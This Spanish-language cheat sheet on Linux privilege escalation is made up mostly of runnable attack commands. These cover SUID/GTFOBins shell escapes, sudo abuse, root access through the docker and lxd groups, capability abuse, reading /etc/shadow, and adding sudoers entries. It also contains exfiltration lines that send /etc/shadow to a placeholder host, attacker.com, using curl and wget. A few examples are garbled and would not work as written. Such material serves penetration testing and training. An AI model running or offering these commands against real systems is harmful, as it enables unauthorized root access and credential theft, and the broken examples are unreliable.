Escalación de Privilegios - Permisos SUID, Capabilities y Grupos Privilegiados
SUID (Set User ID)
¿Qué es? Binario que se ejecuta con permisos del propietario (usualmente root), no del usuario que lo ejecuta.
Identificar:
bash
# Buscar archivos SUID
find / -perm -4000 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
# Ls muestra SUID con "s" en permisos:
# -rwsr-xr-x root root /usr/bin/sudo
# ^-- este "s" indica SUIDExplotar:
bash
# 1. Encontrar binario SUID
find / -perm -4000 2>/dev/null | grep -E "bash|sh|cat|cp|chmod|chown"
# 2. Si es binario común (cat, cp, ls), intenta ruta relativa
# 3. Si es binario específico, buscar en GTFOBins
# Ejemplo: /usr/bin/find SUID
/usr/bin/find . -exec /bin/sh -p \;
# Ejemplo: /usr/bin/apt SUID
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
# Ejemplo: /usr/bin/sed SUID
sed -e 's/^/id > \/tmp\/flag/' /etc/passwd
# Ejemplo: /usr/bin/perl SUID
perl -e 'exec "/bin/sh"'SGID (Set Group ID)
¿Qué es? Archivo que se ejecuta con permisos del grupo propietario.
Identificar:
bash
find / -perm -2000 2>/dev/null
find / -perm -6000 2>/dev/null # SUID + SGID
# Ls muestra SGID con "s" en grupo:
# -rwxr-sr-x root tty /usr/bin/tty
# ^-- este "s" indica SGIDSticky Bit
¿Qué es? En directorios, solo el propietario puede borrar archivos.
Identificar:
bash
find / -perm -1000 2>/dev/null
# Ls muestra sticky bit con "t":
# drwxrwxrwt root root /tmp
# ^-- "t" indica sticky bitGTFOBins - Binarios que Pueden Escalar Privilegios
Sitio: https://gtfobins.github.io
apt / apt-get
bash
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/shbash
bash
bash -p
bash -p -icat
bash
cat /etc/shadowchmod
bash
chmod u+s /bin/bash
/bin/bash -pchown
bash
chown root:root /tmp/shellcp
bash
cp /bin/bash /tmp/bash
cp /etc/shadow /tmp/shadowcurl
bash
curl file:///etc/passwd
curl -F file=@/etc/shadow http://attacker.com/uploaddd
bash
dd if=/etc/shadow of=/tmp/shadowdocker
bash
docker run -v /:/host -it alpine chroot /host /bin/bashenv
bash
env -i HOME=$HOME /bin/bash -pfind
bash
find . -exec /bin/sh -p \;
find . -exec /bin/bash -p \;
find . -type f -exec chmod u+s {} \;git
bash
git help config
!/bin/shgrep
bash
grep -r password /rootless / more
bash
less /etc/shadow
!/bin/shls
bash
ls -la /rootman
bash
man ls
!/bin/shnano / vim / vi
bash
nano /etc/shadow
# En editor: Ctrl+R Ctrl+X
# Escribir: /bin/sh
# Ejecutar
vim /etc/shadow
:!bash
:e /etc/shadownmap
bash
# Versión vieja con modo interactivo
nmap --interactive
nmap> !shopenssl
bash
openssl enc -in /etc/shadowperl
bash
perl -e 'exec "/bin/sh"'
perl -e 'system "/bin/bash"'php
bash
php -r 'system("/bin/bash");'python / python3
bash
python -c 'import os; os.system("/bin/bash")'
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'ruby
bash
ruby -e 'system("/bin/bash")'sed
bash
sed -e 's/^/exec \/bin\/sh/' /etc/passwd
sed -e 's/^/id/' /etc/passwdsh / bash
bash
/bin/sh -p
/bin/bash -psort
bash
sort /etc/shadowsqlite3
bash
sqlite3
sqlite> .system /bin/shssh-keygen
bash
ssh-keygen -D /lib64/libc.so.6sudo
bash
# Si tienes permisos limitados
sudo -l
# User usuario may run: /usr/bin/find
# Entonces:
sudo /usr/bin/find . -exec /bin/sh \;tee
bash
echo 'usuario ALL=(ALL) NOPASSWD:ALL' | sudo tee /etc/sudoers.d/usuariotmux / screen
bash
tmux new -s session
# Luego desde otra sesión:
tmux attach -t sessionunzip
bash
unzip -l /tmp/archive.zipvi / vim
bash
:set shell=/bin/bash
:shellwget
bash
wget --post-file=/etc/shadow http://attacker.com/
wget -O- file:///etc/passwdwhois
bash
whois
> !shSudo Rights Abuse
Ver qué puedes ejecutar como sudo:
bash
sudo -lEjemplo vulnerables:
Sudo sin contraseña
bash
# Si output muestra:
# (root) NOPASSWD: /usr/bin/find
# Entonces ejecuta directamente:
sudo /usr/bin/find . -exec /bin/sh \;Sudo con comando específico
bash
# Si tienes:
# (root) /usr/bin/python3
# Buscar en GTFOBins qué puedes hacer con python3
sudo python3 -c 'import os; os.system("/bin/bash")'Sudo con comodín
bash
# Si tienes:
# (root) /usr/bin/apt-get *
# Entonces cualquier comando después de apt-get:
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/shSudo con ALL
bash
# Si tienes:
# (root) ALL
# Acceso total sin restricciones
sudo -i
sudo su
sudo /bin/bashPrivileged Groups
Grupo sudo
bash
# Verificar si estás en el grupo
id | grep sudo
# Si sí, normalmente tienes acceso a comandos específicos
sudo -lGrupo admin (Debian/Ubuntu)
bash
id | grep adminGrupo wheel (RedHat/CentOS)
bash
id | grep wheelGrupo adm (Log readers)
bash
id | grep adm
# Puedes leer logs sensibles
cat /var/log/auth.log
grep "password" /var/log/auth.logGrupo docker
CRÍTICO - Escalada a root:
bash
# Si estás en el grupo docker
id | grep docker
# Entonces puedes crear contenedor con acceso a root filesystem
docker run -v /:/host -it alpine chroot /host /bin/bash
# O más directo:
docker run --rm -it -v /:/host ubuntu chroot /host /bin/bash
# O montar socket de docker:
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu /bin/bashGrupo lxd / lxc
Escalada a root en contenedores:
bash
id | grep lxd
# Descargar imagen Alpine
wget https://github.com/saghul/lxd-alpine-builder/releases/download/v0.3/alpine-v3.13-x86_64-20210218_0139.tar.gz
# O crear:
lxc image import alpine-*.tar.gz --alias alpine
lxc init alpine container -c security.privileged=true
lxc config device add container root disk source=/ path=/host
lxc start container
lxc exec container -- /bin/bash
# Ahora estás en /host como rootGrupo disk
bash
id | grep disk
# Acceso directo a discos:
fdisk -l
dd if=/dev/sda1 of=/tmp/backup.imgGrupo video
bash
id | grep video
# Acceso a framebuffer
cat /dev/fb0Grupo audio
bash
id | grep audioGrupo cdrom
bash
id | grep cdromCapabilities
¿Qué son? Permisos granulares para aplicaciones sin necesidad de SUID o ser root.
Buscar capabilities:
bash
# Binarios con capabilities
getcap -r / 2>/dev/null
# Listar capabilities específicas
getcap /usr/bin/python3
getcap /usr/bin/perl
getcap /usr/bin/rubyCapabilities Peligrosos:
bash
# cap_setuid - ejecutar como cualquier usuario
# cap_setgid - cambiar grupo
# cap_net_raw - acceso directo a red
# cap_dac_override - bypassear permisos de archivos
# cap_sys_admin - operaciones administrativas
# cap_sys_chroot - cambiar rootExplotar:
bash
# Si /usr/bin/python3 tiene cap_setuid:
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Si /usr/bin/perl tiene cap_setuid:
/usr/bin/perl -e 'exec "/bin/bash"' -C
# Si /bin/bash tiene cap_net_raw:
# Acceso directo a paquetes de redAgregar capabilities (como root):
bash
# Copiar bash
cp /bin/bash /tmp/bash
# Agregar cap_setuid
setcap cap_setuid+ep /tmp/bash
# Usar
/tmp/bash -pEscaping Restricted Shells
Si estás en un shell restringido (rbash, jailkit, etc):
bash
# Intenta cambiar shell
bash
sh
/bin/bash
/bin/sh
# O escapar con comandos
echo /bin/sh | sed 's/./&/g'
$(echo /bin/sh)
/usr/bin/python3 -c 'import os; os.system("/bin/bash")'
perl -e 'system("/bin/bash")'
ruby -e 'system("/bin/bash")'
php -r 'system("/bin/bash")'
# O comandos encadenados
python3 -c 'import subprocess; subprocess.call(["/bin/bash"])'